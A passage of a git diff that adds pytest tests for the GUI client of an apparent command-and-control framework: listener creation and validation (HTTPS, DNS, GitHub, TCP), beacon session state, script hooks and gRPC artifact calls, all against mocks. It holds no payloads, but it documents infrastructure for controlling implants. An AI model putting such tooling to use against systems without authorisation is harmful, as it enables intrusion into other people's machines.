request.data == b"payload" + assert request.platform == "windows" + assert request.arch == "x64" + assert stub.UploadArtifact.call_args.kwargs["metadata"] == client.metadata + assert events == [("UploadArtifact", True, "")] + + +def test_grpc_client_deletes_artifact(tmp_path, monkeypatch): + cert = tmp_path / "cert.crt" + cert.write_text("cert") + monkeypatch.setenv("C2_CERT_PATH", str(cert)) + monkeypatch.setattr(grpc, "ssl_channel_credentials", lambda _: object()) + monkeypatch.setattr(grpc, "secure_channel", lambda *args, **kwargs: object()) + monkeypatch.setattr(grpc, "channel_ready_future", lambda channel: DummyFuture()) + stub = mock.MagicMock() + response = object() + stub.DeleteGeneratedArtifact.return_value = response + monkeypatch.setattr(TeamServerApi_pb2_grpc, "TeamServerApiStub", lambda channel: stub) + + client = GrpcClient("127.0.0.1", 50051, False, token="tok") + events = [] + client.set_status_callback(lambda operation, ok, message: events.append((operation, ok, message))) + + assert client.deleteArtifact("artifact-1") is response + request = stub.DeleteGeneratedArtifact.call_args.args[0] + assert isinstance(request, TeamServerApi_pb2.ArtifactSelector) + assert request.artifact_id == "artifact-1" + assert stub.DeleteGeneratedArtifact.call_args.kwargs["metadata"] == client.metadata + assert events == [("DeleteGeneratedArtifact", True, "")] + + +def test_grpc_client_lists_commands(tmp_path, monkeypatch): + cert = tmp_path / "cert.crt" + cert.write_text("cert") + monkeypatch.setenv("C2_CERT_PATH", str(cert)) + monkeypatch.setattr(grpc, "ssl_channel_credentials", lambda _: object()) + monkeypatch.setattr(grpc, "secure_channel", lambda *args, **kwargs: object()) + monkeypatch.setattr(grpc, "channel_ready_future", lambda channel: DummyFuture()) + stub = mock.MagicMock() + query = object() + command = object() + stub.ListCommands.return_value = iter([command]) + monkeypatch.setattr(TeamServerApi_pb2_grpc, "TeamServerApiStub", lambda channel: stub) + + client = GrpcClient("127.0.0.1", 50051, False, token="tok") + events = [] + client.set_status_callback(lambda operation, ok, message: events.append((operation, ok, message))) + + assert list(client.listCommands(query)) == [command] + stub.ListCommands.assert_called_once_with(query, metadata=client.metadata) + assert events == [("ListCommands", True, "")] + + +def test_grpc_client_uses_env_certificate_and_grpc_options(tmp_path, monkeypatch): + cert = tmp_path / "cert.crt" + cert.write_text("cert") + monkeypatch.setenv("C2_CERT_PATH", str(cert)) + monkeypatch.setenv("C2_GRPC_MAX_MESSAGE_MB", "42") + monkeypatch.setenv("C2_GRPC_CONNECT_TIMEOUT_MS", "2500") + monkeypatch.setattr(grpc, "ssl_channel_credentials", lambda _: object()) + + captured = {} + + def fake_secure_channel(target, credentials, options): + captured["target"] = target + captured["options"] = options + return object() + + class CapturingFuture: + def result(self, timeout=None): + captured["timeout"] = timeout + return None + + monkeypatch.setattr(grpc, "secure_channel", fake_secure_channel) + monkeypatch.setattr(grpc, "channel_ready_future", lambda channel: CapturingFuture()) + stub = mock.MagicMock() + monkeypatch.setattr(TeamServerApi_pb2_grpc, "TeamServerApiStub", lambda channel: stub) + + client = GrpcClient("127.0.0.1", 50051, False, token="tok") + + assert client.ca_cert_path == str(cert.resolve()) + assert captured["target"] == "127.0.0.1:50051" + assert ("grpc.max_send_message_length", 42 * 1024 * 1024) in captured["options"] + assert ("grpc.max_receive_message_length", 42 * 1024 * 1024) in captured["options"] + assert captured["timeout"] == 2.5 + + +def test_grpc_client_rejects_missing_configured_certificate(tmp_path, monkeypatch): + missing_cert = tmp_path / "missing.crt" + monkeypatch.setenv("C2_CERT_PATH", str(missing_cert)) + + with pytest.raises(ValueError, match="configured certificate not found"): + GrpcClient("127.0.0.1", 50051, False, token="tok") def test_grpc_client_connection_error(tmp_path, monkeypatch): @@ -39,7 +220,7 @@ def test_grpc_client_connection_error(tmp_path, monkeypatch): monkeypatch.setattr(grpc, "secure_channel", lambda *args, **kwargs: object()) class FailingFuture: - def result(self): + def result(self, timeout=None): raise grpc.RpcError("err") monkeypatch.setattr(grpc, "channel_ready_future", lambda channel: FailingFuture()) diff --git a/C2Client/tests/test_gui_startup.py b/C2Client/tests/test_gui_startup.py index fd883ec..713fcf7 100644 --- a/C2Client/tests/test_gui_startup.py +++ b/C2Client/tests/test_gui_startup.py @@ -19,18 +19,28 @@ class DummyWidget(QWidget): listenerScriptSignal = DummySignal() interactWithSession = DummySignal() - def __init__(self, *args, **kwargs): - super().__init__(*args, **kwargs) + def __init__(self, parent=None, *_args, **_kwargs): + super().__init__(parent) + + def scriptSnapshot(self): + return [{"source": self.__class__.__name__}] + + +class DummyScript: + def __init__(self): + self.provider = None + self.sessionScriptMethod = lambda *a, **k: None + self.listenerScriptMethod = lambda *a, **k: None + self.mainScriptMethod = lambda *a, **k: None + + def setClientStateProvider(self, provider): + self.provider = provider class DummyConsole(QWidget): - def __init__(self, *args, **kwargs): - super().__init__(*args, **kwargs) - self.script = SimpleNamespace( - sessionScriptMethod=lambda *a, **k: None, - listenerScriptMethod=lambda *a, **k: None, - mainScriptMethod=lambda *a, **k: None, - ) + def __init__(self, parent=None, *_args, **_kwargs): + super().__init__(parent) + self.script = DummyScript() self.assistant = SimpleNamespace(sessionAssistantMethod=lambda *a, **k: None) def addConsole(self, *args, **kwargs): @@ -56,3 +66,77 @@ def fake_bot(self): assert isinstance(app.consoleWidget, DummyConsole) assert isinstance(app.listenersWidget, DummyWidget) assert isinstance(app.sessionsWidget, DummyWidget) + assert app.consoleWidget.script.provider() == { + "sessions": [{"source": "DummyWidget"}], + "listeners": [{"source": "DummyWidget"}], + } + assert "Connected | 127.0.0.1:50051" in app.connectionStatusLabel.text() + assert app.rpcStatusLabel.text() == "Last RPC: none" + + +def test_gui_shell_uses_dark_single_column_layout(qtbot, monkeypatch): + monkeypatch.setattr(GUI, 'GrpcClient', lambda *args, **kwargs: object()) + monkeypatch.setattr(GUI, 'Sessions', DummyWidget) + monkeypatch.setattr(GUI, 'Listeners', DummyWidget) + monkeypatch.setattr(GUI, 'Graph', DummyWidget) + monkeypatch.setattr(GUI, 'ConsolesTab', DummyConsole) + + app = GUI.App('127.0.0.1', 50051, False) + qtbot.addWidget(app) + + assert app.objectName() == "C2MainWindow" + assert app.centralWidget().objectName() == "C2CentralWidget" + assert app.topWidget.objectName() == "C2TopTabs" + assert app.m_main.objectName() == "C2MainTab" + assert "#070b10" in app.styleSheet() + assert "#263241" in app.styleSheet() + assert app.mainLayout.itemAtPosition(0, 0).widget() is app.topWidget + assert app.mainLayout.itemAtPosition(1, 0).widget() is app.consoleWidget + assert app.mainLayout.itemAtPosition(1, 1) is None + + +def test_gui_status_bar_updates_rpc_status(qtbot, monkeypatch): + monkeypatch.setattr(GUI, 'GrpcClient', lambda *args, **kwargs: object()) + + def fake_top(self): + self.sessionsWidget = DummyWidget() + self.listenersWidget = DummyWidget() + + def fake_bot(self): + self.consoleWidget = DummyConsole() + + monkeypatch.setattr(GUI.App, 'topLayout', fake_top) + monkeypatch.setattr(GUI.App, 'botLayout', fake_bot) + + app = GUI.App('127.0.0.1', 50051, False) + qtbot.addWidget(app) + + app.updateRpcStatus("ListSessions", False, "deadline exceeded") + + assert "RPC error" in app.connectionStatusLabel.text() + assert "Last RPC: ListSessions" in app.rpcStatusLabel.text() + assert "ListSessions: deadline exceeded" in app.errorStatusLabel.text() + + +def test_parse_client_args_uses_env_defaults(monkeypatch): + monkeypatch.setenv("C2_IP", "10.10.10.5") + monkeypatch.setenv("C2_PORT", "5443") + monkeypatch.setenv("C2_DEV_MODE", "true") + + args = GUI.parse_client_args([]) + + assert args.ip == "10.10.10.5" + assert args.port == 5443 + assert args.dev is True + + +def test_parse_client_args_keeps_cli_priority(monkeypatch): + monkeypatch.setenv("C2_IP", "10.10.10.5") + monkeypatch.setenv("C2_PORT", "5443") + monkeypatch.setenv("C2_DEV_MODE", "true") + + args = GUI.parse_client_args(["--ip", "127.0.0.2", "--port", "6000", "--no-dev"]) + + assert args.ip == "127.0.0.2" + assert args.port == 6000 + assert args.dev is False diff --git a/C2Client/tests/test_listener_panel.py b/C2Client/tests/test_listener_panel.py index a9c77d6..e5537ec 100644 --- a/C2Client/tests/test_listener_panel.py +++ b/C2Client/tests/test_listener_panel.py @@ -1,6 +1,17 @@ -from PyQt6.QtWidgets import QWidget +from types import SimpleNamespace -from C2Client.ListenerPanel import Listeners +from PyQt6.QtWidgets import QApplication, QHeaderView, QLineEdit, QWidget + +from C2Client.ListenerPanel import ( + CreateListner, + DnsType, + GithubType, + HttpType, + HttpsType, + Listener, + Listeners, + validate_listener_fields, +) from C2Client.grpcClient import TeamServerApi_pb2 @@ -8,14 +19,18 @@ class StubGrpc: def __init__(self): self.add_ack = None self.stop_ack = None + self.added_listeners = [] + self.stopped_listeners = [] def listListeners(self): return [] def addListener(self, listener): + self.added_listeners.append(listener) return self.add_ack or type("Ack", (), {"status": TeamServerApi_pb2.OK, "message": "Listener created."})() def stopListener(self, listener): + self.stopped_listeners.append(listener) return self.stop_ack or type("Ack", (), {"status": TeamServerApi_pb2.OK, "message": "Listener stopped."})() @@ -26,9 +41,277 @@ def test_add_listener_ack_message_is_displayed(qtbot, monkeypatch): grpc.add_ack = type("Ack", (), {"status": TeamServerApi_pb2.KO, "message": "Listener already exists."})() parent = QWidget() listeners = Listeners(parent, grpc) + listeners.listListenerObject = [] qtbot.addWidget(listeners) listeners.addListener(["https", "0.0.0.0", "8443"]) - assert listeners.statusLabel.text() == "Listener already exists." + assert listeners.statusLabel.text() == "Add listener: Listener already exists." + assert "#b00020" in listeners.statusLabel.styleSheet() + + +def test_listener_validation_rejects_bad_network_fields(): + assert validate_listener_fields(HttpsType, "127.0.0.1", "8443") == (True, "") + assert validate_listener_fields(HttpsType, "999.1.1.1", "8443") == ( + False, + "IP must be a valid IPv4 or IPv6 address.", + ) + assert validate_listener_fields(HttpsType, "127.0.0.1", "70000") == ( + False, + "Port must be a number between 1 and 65535.", + ) + assert validate_listener_fields(DnsType, "https://example.com", "53") == ( + False, + "Domain must be a valid DNS name.", + ) + assert validate_listener_fields(GithubType, "owner/repo", "token") == (True, "") + + +def test_add_listener_invalid_fields_are_not_sent(qtbot, monkeypatch): + monkeypatch.setattr("C2Client.ListenerPanel.QThread.start", lambda self: None) + + grpc = StubGrpc() + parent = QWidget() + listeners = Listeners(parent, grpc) + listeners.listListenerObject = [] + qtbot.addWidget(listeners) + + listeners.addListener(["https", "999.1.1.1", "8443"]) + + assert grpc.added_listeners == [] + assert listeners.statusLabel.text() == "Add listener: IP must be a valid IPv4 or IPv6 address." assert "#b00020" in listeners.statusLabel.styleSheet() + + +def test_add_listener_blocks_tcp_bound_port_conflict(qtbot, monkeypatch): + monkeypatch.setattr("C2Client.ListenerPanel.QThread.start", lambda self: None) + + grpc = StubGrpc() + parent = QWidget() + listeners = Listeners(parent, grpc) + listeners.listListenerObject = [ + Listener(0, "https-listener-full-hash", HttpsType, "0.0.0.0", 8443, 0), + Listener(1, "child-listener-full-hash", "tcp", "0.0.0.0", 4444, 0, "beacon-full-hash"), + ] + qtbot.addWidget(listeners) + + listeners.addListener(["tcp", "0.0.0.0", "8443"]) + + assert grpc.added_listeners == [] + assert listeners.statusLabel.text() == "Add listener: Port 8443 is already used by https listener https-li." + assert "#b00020" in listeners.statusLabel.styleSheet() + + listeners.addListener(["tcp", "0.0.0.0", "4444"]) + assert len(grpc.added_listeners) == 1 + + +def test_add_listener_form_blocks_invalid_port(qtbot): + form = CreateListner() + qtbot.addWidget(form) + emitted = [] + form.procDone.connect(lambda values: emitted.append(values)) + + form.qcombo.setCurrentText(HttpsType) + form.param1.setText("127.0.0.1") + form.param2.setText("70000") + form.checkAndSend() + + assert emitted == [] + assert form.errorLabel.isHidden() is False + assert form.errorLabel.text() == "Port must be a number between 1 and 65535." + + +def test_add_listener_form_blocks_tcp_bound_port_conflict(qtbot): + form = CreateListner(lambda: [ + Listener(0, "https-listener-full-hash", HttpsType, "0.0.0.0", 8443, 0) + ]) + qtbot.addWidget(form) + emitted = [] + form.procDone.connect(lambda values: emitted.append(values)) + + form.qcombo.setCurrentText("tcp") + form.param1.setText("0.0.0.0") + form.param2.setText("8443") + + assert form.buttonOk.isEnabled() is False + + form.checkAndSend() + + assert emitted == [] + assert form.errorLabel.isHidden() is False + assert form.errorLabel.text() == "Port 8443 is already used by https listener https-li." + + +def test_add_listener_form_updates_fields_by_type(qtbot): + form = CreateListner() + qtbot.addWidget(form) + + assert form.qcombo.currentText() == HttpsType + assert form.labelIP.text() == "IP" + assert form.param1.text() == "0.0.0.0" + assert form.param2.text() == "8443" + assert form.buttonOk.isEnabled() is True + assert "HTTPS listener" in form.helpLabel.text() + + form.qcombo.setCurrentText(DnsType) + + assert form.labelIP.text() == "Domain" + assert form.labelPort.text() == "Port" + assert form.param1.text() == "" + assert form.param2.text() == "53" + assert form.buttonOk.isEnabled() is False + + form.param1.setText("example.com") + assert form.buttonOk.isEnabled() is True + + +def test_add_listener_form_masks_github_token_and_requires_values(qtbot): + form = CreateListner() + qtbot.addWidget(form) + + form.qcombo.setCurrentText(GithubType) + + assert form.labelIP.text() == "Project" + assert form.labelPort.text() == "Token" + assert form.param2.echoMode() == QLineEdit.EchoMode.Password + assert form.buttonOk.isEnabled() is False + + form.param1.setText("owner/repo") + form.param2.setText("token") + + assert form.buttonOk.isEnabled() is True + + +def test_add_listener_form_resets_incompatible_values_when_type_changes(qtbot): + form = CreateListner() + qtbot.addWidget(form) + + form.qcombo.setCurrentText(GithubType) + form.param1.setText("owner/repo") + form.param2.setText("token") + form.qcombo.setCurrentText(HttpType) + + assert form.param1.text() == "0.0.0.0" + assert form.param2.text() == "8080" + assert form.buttonOk.isEnabled() is True + + +def test_add_listener_form_emits_trimmed_valid_values(qtbot): + form = CreateListner() + qtbot.addWidget(form) + emitted = [] + form.procDone.connect(lambda values: emitted.append(values)) + + form.qcombo.setCurrentText(HttpsType) + form.param1.setText(" 127.0.0.1 ") + form.param2.setText(" 8443 ") + form.checkAndSend() + + assert emitted == [[HttpsType, "127.0.0.1", "8443"]] + + +def test_listener_toolbar_actions_use_selected_listener(qtbot, monkeypatch): + monkeypatch.setattr("C2Client.ListenerPanel.QThread.start", lambda self: None) + + grpc = StubGrpc() + parent = QWidget() + listeners = Listeners(parent, grpc) + listeners.listListenerObject = [ + Listener(0, "listener-full-hash", "https", "0.0.0.0", 8443, 0) + ] + qtbot.addWidget(listeners) + + assert "#0b1117" in listeners.styleSheet() + assert "#263241" in listeners.styleSheet() + + listeners.printListeners() + assert listeners.addListenerButton.isEnabled() is True + assert listeners.stopListenerButton.isEnabled() is False + assert listeners.copyListenerIdButton.isEnabled() is False + assert listeners.addListenerButton.text() == "Add" + assert listeners.copyListenerIdButton.text() == "Copy" + assert listeners.listListener.horizontalHeaderItem(0).text() == "ID" + assert listeners.listListener.horizontalHeaderItem(2).text() == "Host/Beacon" + assert listeners.listListener.horizontalHeader().sectionResizeMode(2) == QHeaderView.ResizeMode.Stretch + + listeners.listListener.selectRow(0) + + assert listeners.stopListenerButton.isEnabled() is True + assert listeners.copyListenerIdButton.isEnabled() is True + + listeners.copyListenerIdButton.click() + assert QApplication.clipboard().text() == "listener-full-hash" + assert listeners.statusLabel.text() == "Listener ID copied to clipboard." + + listeners.stopListenerButton.click() + assert grpc.stopped_listeners[-1].listener_hash == "listener-full-hash" + + +def test_listener_script_snapshot_exposes_listener_context(qtbot, monkeypatch): + monkeypatch.setattr("C2Client.ListenerPanel.QThread.start", lambda self: None) + + parent = QWidget() + listeners = Listeners(parent, StubGrpc()) + listeners.listListenerObject = [ + Listener(0, "listener-full-hash", "https", "0.0.0.0", 8443, 2) + ] + qtbot.addWidget(listeners) + + assert listeners.scriptSnapshot() == [ + { + "id": 0, + "listener_hash": "listener-full-hash", + "beacon_hash": "", + "type": "https", + "host": "0.0.0.0", + "port": 8443, + "session_count": 2, + } + ] + + +def test_listener_table_keeps_user_column_width_after_refresh(qtbot, monkeypatch): + monkeypatch.setattr("C2Client.ListenerPanel.QThread.start", lambda self: None) + + parent = QWidget() + listeners = Listeners(parent, StubGrpc()) + listeners.listListenerObject = [ + Listener(0, "listener-full-hash", "https", "192.168.56.120", 8443, 0) + ] + qtbot.addWidget(listeners) + + listeners.printListeners() + listeners.listListener.setColumnWidth(0, 123) + listeners.printListeners() + + assert listeners.listListener.columnWidth(0) == 123 + assert listeners.listListener.item(0, 2).text() == "192.168.56.120" + assert listeners.listListener.item(0, 2).toolTip() == "192.168.56.120" + + +def test_child_listener_displays_beacon_id_in_host_column(qtbot, monkeypatch): + monkeypatch.setattr("C2Client.ListenerPanel.QThread.start", lambda self: None) + + class ChildListenerGrpc(StubGrpc): + def listListeners(self): + return [ + SimpleNamespace( + listener_hash="child-listener-full-hash", + beacon_hash="beacon-full-hash", + type="tcp", + ip="0.0.0.0", + port=4444, + session_count=0, + ) + ] + + parent = QWidget() + listeners = Listeners(parent, ChildListenerGrpc()) + qtbot.addWidget(listeners) + + listeners.listListeners() + + assert listeners.listListener.item(0, 2).text() == "beacon-f" + assert "Beacon ID: beacon-full-hash" in listeners.listListener.item(0, 2).toolTip() + assert "Endpoint: 0.0.0.0:4444" in listeners.listListener.item(0, 2).toolTip() + assert listeners.scriptSnapshot()[0]["beacon_hash"] == "beacon-full-hash" diff --git a/C2Client/tests/test_protocol_bindings.py b/C2Client/tests/test_protocol_bindings.py index f2dd92f..c745eb5 100644 --- a/C2Client/tests/test_protocol_bindings.py +++ b/C2Client/tests/test_protocol_bindings.py @@ -1,6 +1,6 @@ import importlib +import os import sys -from pathlib import Path def test_protocol_bindings_loads_importable_package_without_build_tree(monkeypatch, tmp_path): @@ -30,3 +30,34 @@ def test_protocol_bindings_loads_importable_package_without_build_tree(monkeypat assert protocol_bindings.TeamServerApi_pb2.VALUE == 1 assert protocol_bindings.TeamServerApi_pb2_grpc.VALUE == 1 + + +def test_protocol_bindings_skips_stale_generated_build(monkeypatch, tmp_path): + protocol_bindings = importlib.import_module("C2Client.protocol_bindings") + + repo_root = tmp_path + proto_file = repo_root / "protocol" / "TeamServerApi.proto" + stale_root = repo_root / "build" / "generated" / "python_protocol" + fresh_root = repo_root / "buildNew" / "generated" / "python_protocol" + stale_package = stale_root / "c2client_protocol" / "TeamServerApi_pb2.py" + fresh_package = fresh_root / "c2client_protocol" / "TeamServerApi_pb2.py" + + proto_file.parent.mkdir(parents=True) + stale_package.parent.mkdir(parents=True) + fresh_package.parent.mkdir(parents=True) + proto_file.write_text("proto", encoding="utf-8") + stale_package.write_text("stale", encoding="utf-8") + fresh_package.write_text("fresh", encoding="utf-8") + + os.utime(proto_file, (200, 200)) + os.utime(stale_package, (100, 100)) + os.utime(fresh_package, (300, 300)) + + search_path = [] + monkeypatch.setattr(protocol_bindings, "_repo_root", lambda: repo_root) + monkeypatch.setattr(protocol_bindings, "env_path", lambda _name: None) + monkeypatch.setattr(protocol_bindings.sys, "path", search_path) + + protocol_bindings._ensure_protocol_package_on_path() + + assert search_path == [str(fresh_root)] diff --git a/C2Client/tests/test_script_panel.py b/C2Client/tests/test_script_panel.py new file mode 100644 index 0000000..19beeeb --- /dev/null +++ b/C2Client/tests/test_script_panel.py @@ -0,0 +1,293 @@ +from PyQt6.QtCore import Qt +from C2Client.ScriptPanel import Script + + +class RaisingScript: + __name__ = "RaisingScript" + + @staticmethod + def OnStart(grpc_client, context): + raise RuntimeError("boom") + + +class ConsoleContextScript: + calls = [] + DESCRIPTION = "Console hook test file." + HOOK_DESCRIPTIONS = { + "OnConsoleSend": "Receives the unified console send context.", + } + + @staticmethod + def OnConsoleSend(grpc_client, context): + ConsoleContextScript.calls.append((grpc_client, context)) + return "console send ok" + + +class OnStartScript: + calls = 0 + contexts = [] + + @staticmethod + def OnStart(grpc_client, context): + OnStartScript.calls += 1 + OnStartScript.contexts.append(context) + return "start ok" + + +class ManualStartScript: + calls = [] + + @staticmethod + def ManualStart(grpc_client, context): + ManualStartScript.calls.append((grpc_client, context)) + return "manual ok" + + +class OldManualStartScript: + calls = 0 + + @staticmethod + def ManualStart(grpc_client): + OldManualStartScript.calls += 1 + return "legacy manual ok" + + +def test_script_hook_error_is_visible_without_stdout(qtbot, monkeypatch, capsys): + monkeypatch.setattr("C2Client.ScriptPanel.LoadedScripts", [RaisingScript]) + monkeypatch.setattr("C2Client.ScriptPanel.FailedScripts", []) + + script_panel = Script(None, object()) + qtbot.addWidget(script_panel) + + capsys.readouterr() + script_panel.mainScriptMethod("start", "", "", "") + captured = capsys.readouterr() + + output = script_panel.editorOutput.toPlainText() + assert captured.out == "" + assert "Script error:" in output + assert "RaisingScript.OnStart: boom" in output + assert script_panel.scriptStates["RaisingScript"]["activations"] == 1 + assert script_panel.scriptStates["RaisingScript"]["errors"] == 1 + + +def test_script_panel_lists_hooks_and_import_errors(qtbot, monkeypatch): + monkeypatch.setattr("C2Client.ScriptPanel.LoadedScripts", [ConsoleContextScript]) + monkeypatch.setattr( + "C2Client.ScriptPanel.FailedScripts", + ["C2Client.Scripts.badScript: import boom"], + ) + + script_panel = Script(None, object()) + qtbot.addWidget(script_panel) + + assert "#0b1117" in script_panel.styleSheet() + assert "#263241" in script_panel.styleSheet() + assert script_panel.automationTable.rowCount() == 2 + assert script_panel.scriptStates["ConsoleContextScript"]["hooks"] == ["OnConsoleSend"] + assert script_panel.scriptStates["C2Client.Scripts.badScript"]["errors"] == 1 + row = script_panel.tableItemsByScript["ConsoleContextScript"] + assert "Console hook test file." in script_panel.automationTable.item(row, 1).toolTip() + assert "Receives the unified console send context." in script_panel.automationTable.item(row, 2).toolTip() + + +def test_script_console_uses_role_badges_without_default_marker(qtbot, monkeypatch): + OnStartScript.calls = 0 + monkeypatch.setattr("C2Client.ScriptPanel.LoadedScripts", [OnStartScript]) + monkeypatch.setattr("C2Client.ScriptPanel.FailedScripts", []) + + script_panel = Script(None, object()) + qtbot.addWidget(script_panel) + script_panel.mainScriptMethod("start", "", "", "") + + output = script_panel.editorOutput.toPlainText() + assert "[system] Loaded hooks:" in output + assert "[script] OnStart" in output + assert "[+]" not in output + assert output.endswith("\n\n") + + +def test_console_hook_receives_unified_context(qtbot, monkeypatch): + ConsoleContextScript.calls = [] + grpc_client = object() + monkeypatch.setattr("C2Client.ScriptPanel.LoadedScripts", [ConsoleContextScript]) + monkeypatch.setattr("C2Client.ScriptPanel.FailedScripts", []) + + script_panel = Script(None, grpc_client) + qtbot.addWidget(script_panel) + script_panel.setClientStateProvider( + lambda: { + "sessions": [ + { + "beacon_hash": "beacon", + "listener_hash": "listener", + "hostname": "host", + } + ], + "listeners": [ + { + "listener_hash": "listener", + "type": "https", + "host": "0.0.0.0", + "port": 8443, + } + ], + } + ) + + script_panel.consoleScriptMethod( + "send", + "beacon", + "listener", + "Host host - Username user", + "whoami", + "", + "cmd-1", + ) + + assert len(ConsoleContextScript.calls) == 1 + context = ConsoleContextScript.calls[0][1] + assert ConsoleContextScript.calls[0][0] is grpc_client + assert context["hook"] == "OnConsoleSend" + assert context["trigger"] == "send" + assert context["object_type"] == "session" + assert context["object_id"] == "beacon" + assert context["object"]["hostname"] == "host" + assert context["event"]["command"] == "whoami" + assert context["event"]["command_id"] == "cmd-1" + assert script_panel.lastHookContexts["OnConsoleSend"]["event"]["command"] == "whoami" + + +def test_disabled_script_does_not_run_automatically(qtbot, monkeypatch): + ConsoleContextScript.calls = [] + monkeypatch.setattr("C2Client.ScriptPanel.LoadedScripts", [ConsoleContextScript]) + monkeypatch.setattr("C2Client.ScriptPanel.FailedScripts", []) + + script_panel = Script(None, object()) + qtbot.addWidget(script_panel) + + row = script_panel.tableItemsByScript["ConsoleContextScript"] + script_panel.automationTable.item(row, 0).setCheckState(Qt.CheckState.Unchecked) + + script_panel.consoleScriptMethod( + "send", + "beacon", + "listener", + "context", + "whoami", + "", + "cmd-1", + ) + + assert ConsoleContextScript.calls == [] + assert script_panel.scriptStates["ConsoleContextScript"]["enabled"] is False + assert script_panel.scriptStates["ConsoleContextScript"]["activations"] == 0 + + +def test_manual_run_replays_last_hook_context(qtbot, monkeypatch): + ConsoleContextScript.calls = [] + monkeypatch.setattr("C2Client.ScriptPanel.LoadedScripts", [ConsoleContextScript]) + monkeypatch.setattr("C2Client.ScriptPanel.FailedScripts", []) + + script_panel = Script(None, object()) + qtbot.addWidget(script_panel) + + script_panel.consoleScriptMethod( + "send", + "beacon", + "listener", + "context", + "whoami", + "", + "cmd-1", + ) + row = script_panel.tableItemsByScript["ConsoleContextScript"] + script_panel.automationTable.setCurrentCell(row, 1) + script_panel.updateManualHookSelector() + + script_panel.runSelectedHook() + + assert len(ConsoleContextScript.calls) == 2 + assert ConsoleContextScript.calls[1][1]["event"]["command"] == "whoami" + assert script_panel.scriptStates["ConsoleContextScript"]["activations"] == 2 + + +def test_onstart_trigger_subtlety_is_available_in_hook_tooltip(qtbot, monkeypatch): + OnStartScript.calls = 0 + OnStartScript.contexts = [] + monkeypatch.setattr("C2Client.ScriptPanel.LoadedScripts", [OnStartScript]) + monkeypatch.setattr("C2Client.ScriptPanel.FailedScripts", []) + + script_panel = Script(None, object()) + qtbot.addWidget(script_panel) + + row = script_panel.tableItemsByScript["OnStartScript"] + assert "connected/reconnected" in script_panel.automationTable.item(row, 2).toolTip() + + script_panel.mainScriptMethod("start", "", "", "") + + assert OnStartScript.calls == 1 + assert OnStartScript.contexts[0]["hook"] == "OnStart" + assert OnStartScript.contexts[0]["trigger"] == "start" + assert "Trigger:" not in script_panel.editorOutput.toPlainText() + + +def test_manual_start_hook_runs_without_captured_context(qtbot, monkeypatch): + ManualStartScript.calls = [] + monkeypatch.setattr("C2Client.ScriptPanel.LoadedScripts", [ManualStartScript]) + monkeypatch.setattr("C2Client.ScriptPanel.FailedScripts", []) + + script_panel = Script(None, object()) + qtbot.addWidget(script_panel) + script_panel.setClientStateProvider( + lambda: { + "sessions": [ + { + "beacon_hash": "beacon", + "listener_hash": "listener", + "hostname": "host1", + } + ], + "listeners": [ + { + "listener_hash": "listener", + "type": "https", + "host": "0.0.0.0", + "port": 8443, + } + ], + } + ) + + row = script_panel.tableItemsByScript["ManualStartScript"] + script_panel.automationTable.setCurrentCell(row, 1) + script_panel.updateManualHookSelector() + + assert script_panel.manualHookSelector.currentData() == "ManualStart" + + script_panel.runSelectedHook() + + assert len(ManualStartScript.calls) == 1 + assert ManualStartScript.calls[0][1]["sessions"][0]["beacon_hash"] == "beacon" + assert ManualStartScript.calls[0][1]["listeners"][0]["port"] == 8443 + assert script_panel.scriptStates["ManualStartScript"]["activations"] == 1 + assert "manual ok" in script_panel.editorOutput.toPlainText() + + +def test_old_hook_signature_is_not_supported(qtbot, monkeypatch): + OldManualStartScript.calls = 0 + monkeypatch.setattr("C2Client.ScriptPanel.LoadedScripts", [OldManualStartScript]) + monkeypatch.setattr("C2Client.ScriptPanel.FailedScripts", []) + + script_panel = Script(None, object()) + qtbot.addWidget(script_panel) + script_panel.setClientStateProvider(lambda: {"sessions": [{"beacon_hash": "beacon"}], "listeners": []}) + + row = script_panel.tableItemsByScript["OldManualStartScript"] + script_panel.automationTable.setCurrentCell(row, 1) + script_panel.updateManualHookSelector() + script_panel.runSelectedHook() + + assert OldManualStartScript.calls == 0 + assert script_panel.scriptStates["OldManualStartScript"]["activations"] == 1 + assert script_panel.scriptStates["OldManualStartScript"]["errors"] == 1 diff --git a/C2Client/tests/test_session_panel.py b/C2Client/tests/test_session_panel.py index b2458cd..33eb0b6 100644 --- a/C2Client/tests/test_session_panel.py +++ b/C2Client/tests/test_session_panel.py @@ -1,17 +1,34 @@ -from PyQt6.QtWidgets import QWidget +from datetime import datetime -from C2Client.SessionPanel import Sessions +from PyQt6.QtWidgets import QApplication, QHeaderView, QWidget + +import C2Client.SessionPanel as session_panel +from C2Client.SessionPanel import ( + SESSION_STATE_ALIVE, + SESSION_STATE_KILLED, + SESSION_STATE_STALE, + SESSION_STATE_UNKNOWN, + Session, + Sessions, + humanize_last_seen, + last_seen_age_ms, + normalize_os_label, + parse_last_seen, + resolve_session_state, +) from C2Client.grpcClient import TeamServerApi_pb2 class StubGrpc: def __init__(self): self.stop_ack = None + self.stopped_sessions = [] def listSessions(self): return [] def stopSession(self, session): + self.stopped_sessions.append(session) return self.stop_ack or type("Ack", (), {"status": TeamServerApi_pb2.OK, "message": "Session stop command queued."})() @@ -20,15 +37,75 @@ def test_sessions_table_labels_arch_as_beacon_process(qtbot, monkeypatch): parent = QWidget() sessions = Sessions(parent, StubGrpc()) + sessions.listSessionObject = [] qtbot.addWidget(sessions) + assert "#0b1117" in sessions.styleSheet() + assert "#263241" in sessions.styleSheet() + sessions.printSessions() arch_header = sessions.listSession.horizontalHeaderItem(4) - assert arch_header.text() == "Beacon Arch" + assert arch_header.text() == "Arch" assert arch_header.toolTip() == "Architecture du process beacon" +def test_session_state_helpers_humanize_lifecycle(): + now = datetime(2026, 5, 4, 12, 0, 0, 100000) + + assert resolve_session_state(False, "2026-05-04T12:00:00.090000", staleAfterMs=30, now=now)[0] == SESSION_STATE_ALIVE + assert resolve_session_state(False, "2026-05-04T11:59:58", staleAfterMs=30, now=now)[0] == SESSION_STATE_STALE + assert resolve_session_state(True, "2026-05-04T12:00:00.090000", staleAfterMs=30, now=now)[0] == SESSION_STATE_KILLED + assert resolve_session_state(False, "-1", staleAfterMs=30, now=now)[0] == SESSION_STATE_UNKNOWN + + label, tooltip, _ = humanize_last_seen("2026-05-04T11:58:00", now=now) + assert label == "2m ago" + assert tooltip == "Last proof of life: 2026-05-04T11:58:00" + assert normalize_os_label("Microsoft Windows 11 Pro 10.0.22631") == "Windows" + assert normalize_os_label("Linux version 6.8.0") == "Linux" + + +def test_last_seen_parser_accepts_teamserver_age_seconds(monkeypatch): + class FixedDateTime(datetime): + @classmethod + def now(cls): + return cls(2026, 5, 4, 12, 30, 0, 500000) + + 